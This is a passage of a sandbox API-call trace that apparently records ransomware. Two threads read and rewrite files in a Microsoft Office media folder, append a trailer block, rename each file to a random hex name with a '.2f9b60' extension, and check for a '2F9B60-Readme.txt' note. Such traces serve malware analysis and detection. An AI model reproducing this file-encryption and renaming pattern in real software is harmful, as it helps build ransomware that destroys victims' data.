liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b10 [0099.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ba0 [0099.950] NtQuerySystemTime (in: CurrentTime=0x1fa6fae0 | out: CurrentTime=0x1fa6fae0*=132462177054790000) returned 0x0 [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x53528c2 [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x4af5e993 [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x54139745 [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x4876dfda [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x249576ab [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x67a44265 [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x2c61994c [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x39f5aff0 [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x638dc44f [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x67ff63b8 [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x2be40cd6 [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x586091eb [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x1de70399 [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0xcc7698c [0099.950] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x7ed6cc8b [0099.957] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x2be40cd6 [0099.957] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x14e59dec [0099.957] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x44bb15dc [0099.957] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x7a8b8e6c [0099.957] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x2e50181f [0099.957] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x6cb9a0db [0099.957] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x1a7074ac [0099.957] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x5406fd4a [0099.957] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x6dc081c5 [0099.957] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x35b901ce [0099.957] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x395f8d0e [0099.957] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x7d2915a0 [0099.958] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x19fa93ea [0099.958] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x3ab59363 [0099.958] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x62a9eef6 [0099.958] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x7d7971b0 [0099.958] RtlRandomEx (in: Seed=0x1fa6fad0 | out: Seed=0x1fa6fad0) returned 0x2ad87642 [0100.761] ReadFile (in: hFile=0x15d4, lpBuffer=0x203bb690, nNumberOfBytesToRead=0x275c, lpNumberOfBytesRead=0x1fa6fad0, lpOverlapped=0x0 | out: lpBuffer=0x203bb690*, lpNumberOfBytesRead=0x1fa6fad0*=0x275c, lpOverlapped=0x0) returned 1 [0101.602] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.602] WriteFile (in: hFile=0x15d4, lpBuffer=0x20204990*, nNumberOfBytesToWrite=0x275c, lpNumberOfBytesWritten=0x1fa6fad4, lpOverlapped=0x0 | out: lpBuffer=0x20204990*, lpNumberOfBytesWritten=0x1fa6fad4*=0x275c, lpOverlapped=0x0) returned 1 [0101.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b90 [0101.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202620c0 [0101.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202620c0) returned 1 [0101.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20204990) returned 1 [0101.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203bb690) returned 1 [0101.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0101.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c2b0) returned 1 [0101.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202620c0 [0101.955] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.955] WriteFile (in: hFile=0x15d4, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1fa6fbf0, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x1fa6fbf0*=0x10a, lpOverlapped=0x0) returned 1 [0102.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635f0 [0102.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635f0) returned 1 [0102.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635f0 [0102.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635c0 [0102.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635c0) returned 1 [0102.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.324] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="43") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="ea") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="3a") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="cb") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="d1") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="b6") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="0a") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="07") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="7b") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="64") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="f2") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="32") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="ad") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="91") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="e3") returned 2 [0102.324] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="18") returned 2 [0102.325] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="88") returned 2 [0102.325] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="02") returned 2 [0102.325] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="fd") returned 2 [0102.325] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="87") returned 2 [0102.325] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="26") returned 2 [0102.325] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="ac") returned 2 [0102.325] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="bf") returned 2 [0102.325] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="ac") returned 2 [0102.325] RtlInitAnsiString (in: DestinationString=0x1fa6fc68, SourceString="43ea3acbd1b60a077b64f232ad91e3188802fd8726acbfac" | out: DestinationString="43ea3acbd1b60a077b64f232ad91e3188802fd8726acbfac") [0102.325] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fa6fc38, SourceString="43ea3acbd1b60a077b64f232ad91e3188802fd8726acbfac", AllocateDestinationString=1 | out: DestinationString="43ea3acbd1b60a077b64f232ad91e3188802fd8726acbfac") returned 0x0 [0102.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced97f0 [0102.325] wcscat (in: _Dest=0x4205cf10, _Source="43ea3acbd1b6" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\43ea3acbd1b6") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\43ea3acbd1b6" [0102.325] wcscat (in: _Dest=0x4205cf10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\43ea3acbd1b6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\43ea3acbd1b6.2f9b60" [0102.325] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\43ea3acbd1b6.2f9b60", NtPathName=0x1fa6fc10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\43ea3acbd1b6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c710 [0106.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c710) returned 1 [0106.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9aec0) returned 1 [0106.097] NtQueryInformationFile (in: FileHandle=0x15d4, IoStatusBlock=0x1fa6fc78, FileInformation=0x1fa6fc88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1fa6fc78, FileInformation=0x1fa6fc88) returned 0x0 [0106.097] NtSetInformationFile (FileHandle=0x15d4, IoStatusBlock=0x1fa6fc78, FileInformation=0x1fa6fc88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cf10) returned 1 [0106.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced97f0) returned 1 [0106.919] FlushFileBuffers (hFile=0x15d4) returned 1 [0106.927] CloseHandle (hObject=0x15d4) returned 1 [0107.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x205097b0 [0107.120] wcscpy (in: _Dest=0x205097b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0107.120] wcscat (in: _Dest=0x205097b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0107.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205097b0) returned 1 [0107.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784400) returned 1 Thread: id = 760 os_tid = 0x12c4 [0098.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf")) returned 0x20 [0099.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF", dwFileAttributes=0x20) returned 1 [0099.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15d0 [0099.704] GetFileSizeEx (in: hFile=0x15d0, lpFileSize=0x1fc5fbc0 | out: lpFileSize=0x1fc5fbc0*=4042) returned 1 [0099.704] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0xfc6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.704] ReadFile (in: hFile=0x15d0, lpBuffer=0x1fc5fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fc5fb88, lpOverlapped=0x0 | out: lpBuffer=0x1fc5fb40*, lpNumberOfBytesRead=0x1fc5fb88*=0x4, lpOverlapped=0x0) returned 1 [0100.247] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632c0 [0100.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263350 [0100.247] NtQuerySystemTime (in: CurrentTime=0x1fc5fa80 | out: CurrentTime=0x1fc5fa80*=132462177057754000) returned 0x0 [0100.247] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x1dd612ec [0100.247] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x3e0b9583 [0100.247] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x4a6041ab [0100.247] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x4dce8ddc [0100.247] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x334d8ae4 [0100.247] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x648a6b1f [0100.247] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x193ff4fb [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x6e34b5e6 [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x58ef8a9a [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0xf2b6fc5 [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x411b4488 [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x340b5f0b [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x3e8bef7b [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x3f2f9836 [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x550b30b5 [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x52496501 [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x5e83f01f [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x50f761a6 [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x50b3d24c [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x21d32124 [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x1fc0c504 [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x678da89f [0100.248] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x2979d9db [0100.249] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x64fccfc [0100.249] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x5e756069 [0100.249] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x62f3b9d4 [0100.249] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x5f3ba2c5 [0100.249] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x2ff95d5c [0100.249] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0xc60b12b [0100.249] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x6df712d [0100.249] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x5bec473d [0100.249] RtlRandomEx (in: Seed=0x1fc5fa70 | out: Seed=0x1fc5fa70) returned 0x61043fcb [0100.799] ReadFile (in: hFile=0x15d0, lpBuffer=0x41b100b0, nNumberOfBytesToRead=0xfca, lpNumberOfBytesRead=0x1fc5fa70, lpOverlapped=0x0 | out: lpBuffer=0x41b100b0*, lpNumberOfBytesRead=0x1fc5fa70*=0xfca, lpOverlapped=0x0) returned 1 [0100.799] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.799] WriteFile (in: hFile=0x15d0, lpBuffer=0x20200d80*, nNumberOfBytesToWrite=0xfca, lpNumberOfBytesWritten=0x1fc5fa74, lpOverlapped=0x0 | out: lpBuffer=0x20200d80*, lpNumberOfBytesWritten=0x1fc5fa74*=0xfca, lpOverlapped=0x0) returned 1 [0101.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0101.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0101.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd00) returned 1 [0101.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20200d80) returned 1 [0101.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b100b0) returned 1 [0101.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869940) returned 1 [0101.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0101.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85fd00 [0101.826] SetFilePointerEx (in: hFile=0x15d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.826] WriteFile (in: hFile=0x15d0, lpBuffer=0x1673a0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1fc5fb90, lpOverlapped=0x0 | out: lpBuffer=0x1673a0*, lpNumberOfBytesWritten=0x1fc5fb90*=0x10a, lpOverlapped=0x0) returned 1 [0102.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637a0 [0102.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202637a0) returned 1 [0102.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637a0 [0102.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263770 [0102.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263770) returned 1 [0102.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.266] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.266] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="9b") returned 2 [0102.266] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="9b") returned 2 [0102.266] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="19") returned 2 [0102.266] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="8a") returned 2 [0102.266] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="bf") returned 2 [0102.266] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="71") returned 2 [0102.266] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="c1") returned 2 [0102.266] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="f0") returned 2 [0102.266] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="7e") returned 2 [0102.266] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="4e") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="11") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="af") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="fd") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="40") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="2a") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="dd") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="47") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="37") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="64") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="34") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="aa") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="6e") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="1d") returned 2 [0102.267] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="08") returned 2 [0102.267] RtlInitAnsiString (in: DestinationString=0x1fc5fc08, SourceString="9b9b198abf71c1f07e4e11affd402add47376434aa6e1d08" | out: DestinationString="9b9b198abf71c1f07e4e11affd402add47376434aa6e1d08") [0102.267] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fc5fbd8, SourceString="9b9b198abf71c1f07e4e11affd402add47376434aa6e1d08", AllocateDestinationString=1 | out: DestinationString="9b9b198abf71c1f07e4e11affd402add47376434aa6e1d08") returned 0x0 [0102.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9390 [0102.267] wcscat (in: _Dest=0x4205c8d0, _Source="9b9b198abf71" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\9b9b198abf71") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\9b9b198abf71" [0102.267] wcscat (in: _Dest=0x4205c8d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\9b9b198abf71.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\9b9b198abf71.2f9b60" [0102.267] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\9b9b198abf71.2f9b60", NtPathName=0x1fc5fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\9b9b198abf71.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c0e0 [0107.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c0e0) returned 1 [0107.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205063b0) returned 1 [0107.612] NtQueryInformationFile (in: FileHandle=0x15d0, IoStatusBlock=0x1fc5fc18, FileInformation=0x1fc5fc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1fc5fc18, FileInformation=0x1fc5fc28) returned 0x0 [0107.612] NtSetInformationFile (FileHandle=0x15d0, IoStatusBlock=0x1fc5fc18, FileInformation=0x1fc5fc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c8d0) returned 1 [0107.646] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9390) returned 1 [0107.646] FlushFileBuffers (hFile=0x15d0) returned 1 [0107.654] CloseHandle (hObject=0x15d0) returned 1 [0107.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4260 [0107.672] wcscpy (in: _Dest=0x202a4260, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0107.672] wcscat (in: _Dest=0x202a4260, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0107.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4260) returned 1 